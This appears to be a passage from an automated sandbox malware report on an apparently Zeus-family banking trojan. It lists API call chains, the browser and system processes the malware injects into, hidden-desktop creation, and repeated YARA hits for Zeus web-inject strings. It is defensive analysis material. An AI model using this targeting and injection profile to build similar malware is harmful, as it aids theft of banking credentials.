read,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \firefox.exe10_2_01535890
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \tbb-firefox.exe10_2_01535890
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe10_2_01535890
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe10_2_01535890
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|10_2_01536370
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|10_2_01536370
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|10_2_01536370
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,CreateMutexA,GetLastError, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|10_2_01523510
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,CreateMutexA,GetLastError, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|10_2_01523510
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,CreateMutexA,GetLastError, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|10_2_01523510
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C786C0 CreateDesktopA,SetThreadDesktop,memset,CreateProcessA,GetShellWindow,GetShellWindow,Sleep,Sleep,GetShellWindow,GetHandleInformation,GetHandleInformation,CloseHandle,GetHandleInformation,CloseHandle,GetDesktopWindow,FindWindowA,RegisterWindowMessageA,CreateThread,GetHandleInformation,SetThreadDesktop,memset,CreateProcessA,GetShellWindow,GetShellWindow,Sleep,Sleep,GetShellWindow,GetHandleInformation,GetHandleInformation,CloseHandle,GetHandleInformation,CloseHandle,GetDesktopWindow,FindWindowA,CreateThread,GetHandleInformation,CloseHandle,SetEvent,2_2_02C786C0

System Summary

barindex
Malicious sample detected (through community Yara rule)
Source: 2.3.svchost.exe.2d30000.45.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.ed00000.12.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.62.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 25.2.NcYLgtXIKJgHj.exe.2f50000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.70.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.3.Bpfz752pYZ.exe.6f8dc8.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.43.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.35.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.51.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 25.2.NcYLgtXIKJgHj.exe.2b92000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.26.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.32.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.26.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.10.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 22.2.NcYLgtXIKJgHj.exe.5e2000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.37.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.73.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.19.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.38.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.72.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.28.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.13.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.ed00000.12.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 25.2.NcYLgtXIKJgHj.exe.2b92000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.8.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.3.Bpfz752pYZ.exe.6f81c8.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.34.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.10.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.54.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.40.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.ee00000.74.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.69.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 31.2.NcYLgtXIKJgHj.exe.2792000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.41.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.29.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.57.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 10.2.NcYLgtXIKJgHj.exe.1520000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.56.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.28.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 7.2.NcYLgtXIKJgHj.exe.2fa2000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.70.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 14.2.NcYLgtXIKJgHj.exe.2ac0000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.21.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.14.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 7.2.NcYLgtXIKJgHj.exe.3100000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.61.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.29.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.50.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.31.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.46.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.73.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.67.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.11.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.23.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.63.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.29f3c00.3.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.22.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.64.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.39.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 6.2.NcYLgtXIKJgHj.exe.1740000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 16.2.NcYLgtXIKJgHj.exe.2792000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 36.2.NcYLgtXIKJgHj.exe.2202000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.34.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.67.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 20.2.NcYLgtXIKJgHj.exe.2652000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.41.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.56.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.21.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.24.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.40.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.35.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.886c00.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.5450000.15.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.47.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.2cd1c00.4.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.16.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.36.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.71.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 10.2.NcYLgtXIKJgHj.exe.14c2000.1.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 28.2.NcYLgtXIKJgHj.exe.2eb0000.2.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.25.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.63.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.49.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.71.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.14.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.2.svchost.exe.29f3c00.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 0.2.Bpfz752pYZ.exe.407000.0.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.2d30000.48.raw.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
Source: 2.3.svchost.exe.881000.4.unpack, type: UNPACKEDPEMatched rule: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature. Author: unknown
